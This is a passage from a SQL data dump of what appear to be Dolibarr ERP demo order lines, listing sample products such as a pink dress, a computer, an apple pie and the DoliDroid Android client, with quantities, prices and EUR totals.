',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(95,38,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(99,40,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(100,40,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(101,40,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(102,40,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(103,40,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(112,43,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(113,43,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(114,43,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(115,43,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(116,43,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(125,47,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(126,47,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(127,47,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(128,47,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(129,48,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(130,48,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(134,50,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(135,50,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(145,54,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(146,54,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(158,58,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(159,58,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(160,58,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,9,9.00000000,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',9.00000000,36.00000000,0.00000000,36.00000000),(174,62,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(175,62,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(176,62,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(198,68,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(199,68,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(209,72,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(210,72,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(211,72,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(212,72,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(213,72,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(227,75,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(235,78,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(236,78,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(237,78,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(238,78,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(246,81,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(247,81,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(248,81,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,5,5.00000000,25.00000000,0.00000000,0.00000000,0.00000000,25.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,25.00000000,0.00000000,25.00000000),(253,83,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(254,83,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(255,83,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(256,83,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(257,84,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(258,84,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(259,84,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(260,85,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(261,85,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(262,85,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(271,88,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(272,88,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(276,75,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,90.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(278,75,NULL,13,NULL,NULL,'A powerfull computer XP4523 
\r\n(Code douane: USXP765 - Pays d'origine: Etats-Unis)',5.000,'',9.975,'1',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,25.00000000,49.88000000,0.00000000,574.88000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,25.00000000,574.88000000),(279,75,NULL,13,NULL,NULL,'A powerfull computer XP4523 
\n(Code douane: USXP765 - Pays d\'origine: Etats-Unis)',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(280,90,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(281,90,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(282,90,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(283,90,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(284,91,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(285,91,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(286,91,NULL,13,NULL,NULL,'A powerfull computer XP4523 